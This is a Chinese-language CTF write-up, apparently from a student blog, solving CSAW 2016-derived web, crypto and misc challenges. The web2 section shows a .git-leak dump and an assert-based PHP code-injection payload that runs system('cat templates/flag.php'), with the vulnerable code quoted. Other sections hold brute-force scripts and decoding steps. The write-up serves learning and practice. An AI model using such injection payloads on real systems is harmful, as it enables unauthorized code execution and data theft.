前言
web题目基本上是CSAW2016的题目,难度很大,渣渣我是看了大佬们的writeup写的……
以下是几个链接http://kendyhikaru.blogspot.jp/2016/09/writeup-csaw-ctf-2016.html
https://tsublogs.wordpress.com/2016/09/18/606/
https://github.com/73696e65/ctf-notes/blob/master/2016-ctf.csaw.io/web-200-i_got_id.md
基本都是英文的……大家自己看吧……大神们是真的牛啊~我要更加努力
web
web1
打开网站,一共3个页面,感觉前2个好像没什么问题,于是检查了一下file.pl
这里卡住了,后来看了一下大牛的题解,猜测出这个页面的代码大概如下:1
2
3
4
5
6
7
8
9
10use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) )
{
my $file= $cgi->param( 'file' );
while ( <$file> ) { print "$_"; }
}
关键点:my $file= $cgi->param( 'file' );
和while ( <$file> ) { print "$_"; }
LOADING…………(i will sleep)
web2
先是看了一遍网站,发现提示了git,然后检测了下,果然有.git泄露,然后上了工具https://github.com/WangYihang/GitHacker
指令:python Githack.py http://127.0.0.1/.git/
即可拿下所有页面的源码
index.php在外,home.php,about.php,flag.php,contact.php都在文件夹templates中。
迫不及待打开flag.php1
2
3
4
// TODO
// $FLAG = '';
并没有我们想要的东西,所以看来要找漏洞,去得到flag
然后优先审计了index.php代码,很幸运的发现了漏洞:
关键点:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
其中在assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
中
并没有过滤单引号,导致我们可以注入自己想要的代码,于是得到构造:flag','..')+or+system('cat+templates/flag.php');//
拼接后变成:1
assert("strpos('flag','..')+or+system('cat+templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");
第一个匹配肯定是失败了,然后or,进行system函数里的内容,获取templates文件夹中的flag.php,然后注释后续代码
很显然,答案就出来了
payload:http://202.112.51.184:8001/?page=flag%27,%27..%27)+or+system(%27cat+templates/flag.php%27);//
查看源代码,得到flag:<?php $FLAG="xctf{392dba36b0998deac2ed87ceca63c4b2}"; ?>
web3(还没写,来不及,要考试)
web4(还没写,来不及,要考试)
crypto
crypto1
拿到题目:EW91X2FYZV9HX2DVB2RFYM95=
第一反应是base64,解了一下,有部分可读,部分乱码
判断应该是base64没有问题,但是可能顺序或者大小写有问题
想了一下,=在最后才可以,应该不是顺序问题(栅栏试过,不行)
所以考虑到应该是大小写混淆过了,所有都变成大写了
可见是一个排列组合问题:1
2
3
4
5
6
7(0,24)中选1个小写
(0,24)中选2个小写
(0,24)中选3个小写
(0,24)中选4个小写
……
(0,24)中选24个小写
(0,24)中选25个小写
用脚本穷举出所有可能的大小写转化,最后逐个解码base64即可得到flag
脚本如下:1
2
3
4
5
6
7
8
9
10
11import base64
from itertools import combinations
s=list('EW91X2FYZV9HX2DVB2RFYM95=')
for i in range(len(s)):
for j in list(combinations([x for x in range(len(s))], i)):
a=list(s)
for k in j:
a[k]= a[k].lower()
result = ''.join(a)
if not "\\x" in repr(base64.b64decode(result)):
print base64.b64decode(result)
最后可以得到:eW91X2FyZV9hX2dvb2RfYm95=
解码后得到:you_are_a_good_boy
交了即可
crypto2
这个题目我算比较熟悉了,做的也很快
拿到压缩包打开看了一下,是4个长度为6的txt,明显是一道CRC32爆破的题目(博客中以前写专门写过)
第一个CRC32爆破结果:1
2
3
4
5
6
7
8
9
10
11
12
13alternative: 27Mw1K (OK)
alternative: 5cgtvh (OK)
alternative: HlMnXb (OK)
alternative: OuJPrI (OK)
alternative: VR9Lxw (OK)
alternative: aufYuB (OK)
alternative: flag_i (OK)
alternative: nz8XRU (OK)
alternative: of65HX (OK)
alternative: ozyiIL (OK)
alternative: r5dYFU (OK)
alternative: v1yXG6 (OK)
alternative: yRTtde (OK)
第二个CRC32爆破结果:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17alternative: 6xRaqw (OK)
alternative: 8wMQMy (OK)
alternative: ExgKcs (OK)
alternative: HjbDt5 (OK)
alternative: Jw9JDd (OK)
alternative: ONt66F (OK)
alternative: SPJVNZ (OK)
alternative: TIMhdq (OK)
alternative: V8eKPd (OK)
alternative: WTWWO9 (OK)
alternative: ewTrXv (OK)
alternative: kxKBdx (OK)
alternative: sC63tK (OK)
alternative: s_you_ (OK)
alternative: v7Vrka (OK)
alternative: x8IBWo (OK)
alternative: zIaacz (OK)
第三个CRC32爆破结果:1
2
3
4
5
6
7
8
9
10alternative: 20Nq7f (OK)
alternative: 5ddrpE (OK)
alternative: FdQXbA (OK)
alternative: Gx_5xL (OK)
alternative: OrIVtd (OK)
alternative: YZdKYM (OK)
alternative: are_so (OK)
alternative: fkbaYD (OK)
alternative: oa53Nu (OK)
alternative: yUWrbH (OK)
第四个CRC32爆破结果:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19alternative: 6xmv6a (OK)
alternative: 7YrWD4 (OK)
alternative: D54PRt (OK)
alternative: E5uaIm (OK)
alternative: IKBrAv (OK)
alternative: Pl1nKH (OK)
alternative: Qlp_PQ (OK)
alternative: Vuwazz (OK)
alternative: Wu6Pac (OK)
alternative: XzhQFt (OK)
alternative: _cool_ (OK)
alternative: dVtDm5 (OK)
alternative: hD0zaj (OK)
alternative: iDqKzs (OK)
alternative: jdz89c (OK)
alternative: jx5d8w (OK)
alternative: k5YhNf (OK)
alternative: qcCfkT (OK)
alternative: s_Fx2I (OK)
明显可以拼接出:flag_is_you_are_so_cool_
交了就完事了,可以说这题比较简单了
一般情况下,应该这只是压缩包的解压密码,还会有后续题目
misc
misc1
拿到音频打开听了一下,判断应该就是摩斯电码,用Audacity打开分析了一下:
应该*和-很明显了
逐个分析得:1
-/****/*/***/*/-*-*/*-*/*/-/*--/-**/**-*/*-**/*-/--*/**/***/--/---/*-*/*/***/-*-*/---/-**/*/*----/***/**-*/**-/-*
解密得到:thesecretwdflagismorescode1sfun
即可破解该题
misc2
这题是真的皮……
按套路,我先提取了http对象
出来了一个message.png的图
然后就日狗了,一直分析,不出东西……
后来仔细分析wireshark包
发现TCP报文首部中的URG置1了,藏有紧急数据
然后开始慢慢找,发现从7~89帧都有,然后一帧一帧看过去得到flag:
……剩下的省略
最后可以得到:CTF{And_You_Thought_It_Was_In_The_Picture}
最后还是得说一句,这是真的皮!!!